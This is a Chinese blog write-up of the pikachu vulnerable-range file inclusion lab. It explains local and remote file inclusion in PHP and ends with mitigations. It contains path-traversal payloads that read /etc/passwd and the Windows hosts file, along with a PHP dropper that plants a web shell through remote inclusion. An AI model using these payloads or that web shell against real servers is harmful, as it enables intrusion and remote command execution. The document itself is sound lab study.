pikachu靶场练习——文件包含(File Inclusion)

概述

在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能。比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调用的时候直接在文件头中写上一句 <?php include function.php?>就可以调用函数代码。

但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件(代码)。这种情况称为“文件包含漏洞”。

文件包含漏洞有“本地文件包含漏洞”和“远程文件包含漏洞”两种。

包含函数

通过 include() 或者 require() 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。

include 和 require 是相同的,除了错误处理方面:

  • require 会生成致命错误( E_COMPILE_ERROR )并停止脚本
  • include 只生成警告( E_WARNING ),并且脚本会继续

 

本地文件包含 File Inclusion(local)

在pikachu靶场中,随便选择一个选项点击提交,通过URL请求可以看到前端上传了一个文件名到后台,后台会通过前端上传的文件进行对应的操作,传回对应的信息到前端中(前端的文件都是后台保存的文件)。

 接下来我们可以通过后台的固定配置文件来进行测试。先要猜测后台是在Linux系统还是Windows系统上,再输入配置文件在系统上的路径到URL中,从而得到文件的信息。

由于我的pikachu是安装在Windows系统上的,现在我想要知道hosts文件的信息,所以要输入hosts文件的路径到URL中去提交到后台,得到hosts文件的信息。Linux也可以用类似的方法进行测试,比如../../../../../../../../etc/passwd

../../../../../Windows/System32/drivers/etc/hosts

查看后端源代码进行分析漏洞的原因:可以看到它获取前端提交的文件名后,会通过include函数进行包含执行,但因为没有做任何的安全限制,导致变量值filename可以被用户通过前端去做任何的修改,从而产生漏洞!

 

远程文件包含 File Inclusion(remote)

前提

远程文件包含漏洞形式和本地文件包含漏洞差不多,在远程文件包含漏洞中,攻击者可以通过访问外部地址来加载远程代码。

远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下

  • allow_url_fopen = on
  • allow_url_include = on

 

跟前提提醒的一样,做测试前要先到php.ini文件中修改以上信息的值

在pikachu中,远程文件包含和本地文件包含一样,同样是通过前端上传文件名到后台包含

我们可以通过搭建一个恶意的站点,输入到URL中进行测试。

搭建了一个恶意的站点,我放在了pikachu的文件夹下

<?php
$myfile=fopen("hacker.php","w");
$txt='<?php system(@$_GET[hahahaha]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>

像本地文件包含一样,把pikachu靶场的URL中的filename后面的参数修改为所搭建的恶意站点的地址

http://127.0.0.1/pikachu/test/hacker.txt

 提交之后,页面没什么显示,但却把我们所写的php代码上传到了后台服务器所在文件夹的同级目录下

接下来我们就可以利用我们所上传的PHP文件进行相关的操作。因为所上传的PHP文件是和后台服务器在同一级目录下,我们只要在pikachu页面中修改为我们访问的文件名和上传的参数就可以了

127.0.0.1/pikachu/vul/fileinclude/hacker.php?hahahaha=ipconfig

提交后,就获取了后台的IP地址等信息

查看后端源代码分析产生漏洞原因:可以看到和本地文件包含一样,没有做任何的安全限制就进行包含了。因为在演示中,我们把PHP的配置文件php.ini中的默认远程选项手动打开了,这样就相当于允许include去调用任何的文件,导致了漏洞的产生!

 

防范措施

  1. 在功能设计上尽量不要将文件包含函数对应的文件放给前端选择和操作。
  2. 过滤各种 ../../,http://,https://
  3. 配置 php.ini 配置文件
    • allow_url_fopen = off
    • allow_url_include = off
    • magic_quotes_gpc = on
  4. 通过白名单策略,仅允许包含运行指定的文件,其他的都禁止
posted on 2020-07-07 06:26  青日GO(*/ω\*)  阅读(517)  评论(0编辑  收藏  举报